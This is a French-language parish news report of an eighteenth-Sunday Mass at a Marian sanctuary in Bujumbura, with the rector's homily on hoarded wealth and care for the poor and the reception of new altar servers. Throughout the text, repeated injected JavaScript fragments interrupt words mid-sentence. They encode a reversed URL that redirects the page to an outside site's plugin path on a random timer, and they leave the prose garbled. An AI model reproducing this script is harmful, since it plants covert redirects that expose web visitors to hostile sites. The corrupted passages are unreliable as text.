La célébration eucharistique du dix-huitième Dimanche du Temps Ordinaire, au Sanctuaire marial de la Reine de la paix et de la réconciliation de Mont Sion Gikungu, a été officiée par le Père Recteur, Longin NTIRANYIBAGIRA. La messe, animée par la Chorale Sancta Maria, a été une occasion de recevoir les nouveaux jeunes servants de messe qui venaient de terminer la formation. Le célébrant principal, dans sa salutation aux Pèlerins, a annoncé qu’on s’était rassemblé pour louer le Seigneur pour son amour qu’Il ne cesse de nous montrer. Il a aussi dit que c’était une bonne habitude chaque dimanche de fin du mois de faire procession au Sanctuaire marial de la Paix et Réconciliation, et que ce jour c’était un avant-gout pour le grand jour de l’Assomption de la Vierge Marie. Il a alors souhaité un chaleureux bienvenu à tous les pèlerins particulièrement aux 26 jeunes candidats à l’apostolat de servant de messe. Il a rappelé aux pèlerins que ces jeunes viennent de leurs familles, que c’était leurs enfants, mais qu’ils ont maintenant compris et aimé cet apostolat. Il a annoncé que c’était le premier pas, et qu’il ne faudra pas terminer par-là, qu’il fallait plutôt les encourager d’aller de l’avant, vers le sacertoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doce.  Il a pourtant fait remarquer qu’à Bujumbura, malgré la manifestation d’un besoin chaleureux de prêtres les parents ne veulent pas que leurs enfants soient prêtres. Et de prévenir qu’aucun parent ne soit un obstacle sur le chemin de la vocation de son enfant. Les saintes Écritures étaient : première lecture : livres de Qohèleth 1, 2 ; 2, 21-23 ; Psaume responsorial : Ps 90, 3-4. 5-6. 12-13. 14.17 ; deuxième lecture : Col 3, 1-5. 9-11 ; et l’Évangile : Lc 12, 13-21.

Homélie

« Voilà ce qui arrive à celui qui amasse pour lui-même, au lieu d’être riche en vue de Dieu ». (Lc 12, 21) La parole de Dieu est toujours une bonne nouvelle, c’est l’espoir, c’est la paix et c’est la joie, puisque toute bonne chose vient de Dieu, a annoncé le Père NTIRANYIBAGIRA. Ce qui est important dans notre vie, c’est prendre de bonnes décisions, en laissant Dieu nous révéler ses voies de par son amour envers nous. Aujourd’hui Dieu veut nous faire savoir que les richesses mal acquises nous empêchent d’entrer dans le royaume des cieux. Il faut retenir qu’à la fin des temps restera le bien qu’on aura fin. Et l’écrivain des saintes écritures nous dit dans sa sagesse, après avoir observé ce qui se passe dans ce monde « vanité des vanités, tout est vanité » (Qo 1,2). Ici Qohèleth exprime le chagrin du Roi Salomon. On sait bien que David était un grand roi qui a toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}donné grandeur et paix à Israël, et même Jésus Christ est appelé «Fils de David ». Après David, Salomon est venu avec une sagesse exceptionnelle, et a perpétué la grandeur d’Israël. Mais à la fin de son règne ses fils Roboam et Jéroboam se révoltent et divisent Israël en deux royaumes : Judée et Israël. Alors Qohèleth dit ici ces paroles de tristesse dans le Temple de Salomon, en regardant tout ce que Salomon avait construit être détruit en quelques années seulement, a-t-il fait remarquer.

Nous aussi des fois nous nous préoccupons de nos richesses mondaines seulement sans savoir ce qui se passera demain. Des puissants construisent même des systèmes de sécurité très fortes tout autour d’eux, mais finissent toujours par mourir. Tout le monde mourra, les riches et les pauvres, les puissants et les faibles. La question est alors de savoir si notre vie continuera dans les richesses amassées. Les biens matériels peuvent être bons et utiles, mais quand on les met au-dessus de Dieu tout devient vain. Saint Basile nous dit très bien que toutes ces richesses que nous mettons en réserve appartiennent aux pauvres, et que tout simplement nous les mettons en dehors de leur accès : ces habits oubliés dans les garde-robes, ces chaussures oubliées, ces gros montants d’argents épargnés dans les comptes bancaires, … Des fois nous amassons des richesses sans savoir clairement quelle sera leur utilité dans l’avenir. La Parole de Dieu nous met en garde aujourd’hui. Dieu veut que tous ses enfants vivent en sécurité. Pourquoi avoir six maisons ou plus alors qu’il y a des sans-abris tout autour. Saint Basile nous dit que si on vit sur terre sans s’occuper des pauvres, on aura raté la vie éternelle. Il faut demander la sagesse d’organiser bien ce que Dieu nous a toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}donné, a recommandé le Père Recteur.

On peut tout prendre juste comme des paroles dans l’Évangile, mais pourtant tout cela est réalité dans l’Église, dans notre pays, dans nos sociétés, dans nos familles, etc. Cet homme qui s’adresse à Jésus dans l’Évangile, est un porte-parole pour beaucoup des sans-voix, « Maître, dis à mon frère de partager avec moi notre héritage » (Lc 12,13). Des gens malins savent détourner toutes les richesses à eux seuls. Pourquoi tout posséder, alors qu’à côté il y a un mendiant ? Mais comme ici nous nous sommes rencontrés comme les enfants d’un seul Père, faisons attention à cette voix qui crie à Jésus et allez partager avec ton frère. Le Pape François en 2013, a fait un plaitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doyer fort pour les pauvres et nous interpelle tous à les venir en aide : les autorités, les journalistes, les preneurs de décisions, les chrétiens, les acheteurs, etc. Ayons toujours à la base de tout le respect et la préservation de la dignité humaine, a-t-il dit.

 Que faire alors ? Il faut écouter la voix des pauvres. Il faut s’impliquer dans l’effort de l’Église d’aider les démunis, et se préoccuper surtout de ce qui rend riche auprès de Dieu. A regarder les moyens et temps qu’on met à entretenir notre corps et à entretenir notre vie spirituelle, notre corps dépasse de loin notre vie spirituelle. Sachons que tout ce que nous possétoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dons nous vient de Dieu, qu’on est venu dans ce monde nu. Notre vie ne se base pas sur nos richesses matérielles. Celui qui toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}donne à un pauvre, prête à Dieu, c’est ça la vraie épargne. Assistons nos pauvres pour que nous nous rassemblions tous pour louer le Seigneur, puisque c’est Lui notre Père tous, et avec des disparités c’est impossible de louer Dieu harmonieusement ; il faut un cœur en unisson. Dans notre consécration, offrons à Dieu nos pauvres et démunis, puisque prendre en considération le respect de Dieu, c’est prendre en considération la dignité de la personne humaine, a conclu le Père NTIRANYIBAGIRA.

Signalons qu’après l’homélie, le Père Recteur a accueilli officiellement les nouveaux servants de messe et les a bénis, et il a alors annoncé ce qu’il voyait comme un rêve prophétique, comme quoi un jour un évêque se tiendra devant une vingtaine de ces jeunes, pour les ortoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}donner prêtres, et d’insister encore une fois que personne ne soit un obstacle à la vocation de ces jeunes.

Après la messe, les pèlerins ont fait une procession au sanctuaire où ils ont prononcé la prière de couronnement et se sont consacrer à la Vierge Marie, avant la bénédiction solennelle.

Fulgence Ndayizeye